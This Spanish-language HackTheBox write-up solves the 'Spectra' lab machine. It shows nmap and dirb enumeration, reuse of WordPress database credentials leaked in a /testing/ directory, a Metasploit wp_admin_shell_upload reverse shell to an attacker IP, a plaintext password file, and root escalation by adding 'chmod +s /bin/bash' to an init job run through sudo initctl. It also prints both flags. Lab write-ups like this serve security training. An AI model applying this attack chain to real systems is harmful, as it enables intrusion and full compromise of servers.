HackTheBox – Spectra Writeup

Spectra es un desafío con una complejidad fácil que verifica tus habilidades para explotar los errores de configuración de usuarios, enumeración, explotación de WordPress y la escalada básica de privilegios.

En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos. 

 

nmap  10.10.10.229 
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-15 20:56 CEST
Nmap scan report for spectra.htb (10.10.10.229)
Host is up (0.045s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8081/tcp open  blackice-icecap

Podemos comprobar que tiene el puerto 80 abierto, por lo tanto lo primero que vamos hacer es acceder a la web

Al presionar sobre el link de «Software Issue Tracket» nos redirige a http://spectra.htb/main/ la cual no puede resolver el DNS. así que lo agregamos a nuestro /etc/hosts

echo "10.10.10.229 spectra.htb" >> /etc/hosts

Una vez hemos agregado a nuestro fichero /etec/hosts la linea podemos comprobar que corre un wordpress en el que tiene un post publicado con el usuario «Administrator»

Lanzamos el wpscan en busca de algo que nos pudiese interesar y no encontramos nada. Lanzamos dirb para fuzzear la web y encontramos el siguiente directorio 

---- Scanning URL: http://10.10.10.229/ ----
+ http://10.10.10.229/index.html (CODE:200|SIZE:283)                                                                                                                                                              
==> DIRECTORY: http://10.10.10.229/main/                                                                                                                                                                          
==> DIRECTORY: http://10.10.10.229/testing/ 

Accedemos a http://10.10.10.229/testing/ y encontramos una copia del fichero de configuración

En dicho fichero de configuración encontramos el usuario y contraseña de la base de datos.

/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

Logramos acceder mediante el usuario administrator y la contraseña de la base de datos «devteam01»

Tratamos de modificar el fichero header.php para obtener una reverse shell pero a la hora de guardar los datos no se guarda correctamente. 

Para obtener una reverse shell empleamos wp_admin_shell_upload  de metasploit

msfconsole
use exploit/unix/webapp/wp_admin_shell_upload 
set TARGETURI /main
set rhosts spectra.htb
set USERNAME administrator
set PASSWORD devteam01
set lhost 10.10.14.161
exploit

Una vez obtenido la sesión de meterpreter accedemos a una shell bash

Comprobamos que somos el usuario nginx el cual no tiene permisos para nada y la primera flag se encuentra en el home del usuario /home/katie

bash-4.3$ ls -lst /home/katie
ls -lst /home/katie
total 8
4 -r-------- 1 katie katie   33 Feb  2 15:57 user.txt
4 drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log

Comienzo a enumerar en los history de los usuarios, logs, procesos en busca de algo que nos puede ayudar a elevar privilegios. 

En dicha enumeración lanzamos un find en busca de palabras claves como «password» o «passwd» enctre otras 

find / -path /sys -prune -o -path /proc -prune -o -type f -name passwd

En dicha busqueda encontramos el fichero «/etc/autologin/passwd» el cual parece tener una contraseña en texto plano.

cat /etc/autologin/passwd
SummerHereWeCome!!

Intentamos acceder mediante ssh con el usuario katia y la contraseña que acabamos de encontrar 

Obtenemos la primera flag

-bash-4.3$ cat user.txt
e89d27fe195e9114ffa72ba8913a6130

Comprobamos los privilegios que tiene el usuario:

Comprobamos que tenemos permisos de root bajo el comando /sbin/initctl el cual nos puede servir para elevar privilegios

Listamos los procesos que tienen privilegios de root

sudo  -u root /sbin/initctl list

vemos que tenemos uno que se llama test2, lo modificamos en el cual agregamos la siguiente linea: «chmod +s /bin/bash

vi /etc/init/test2.config

Iniciamos el servicio

-bash-4.3$ sudo /sbin/initctl start test2
test2 start/running, process 109698

Escalamos privilegios como root

Por ultimo obtenemos la flag de root


cat /root/root.txt
d44519713b889d5e1f9e536d0c6df2fc

:wq!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *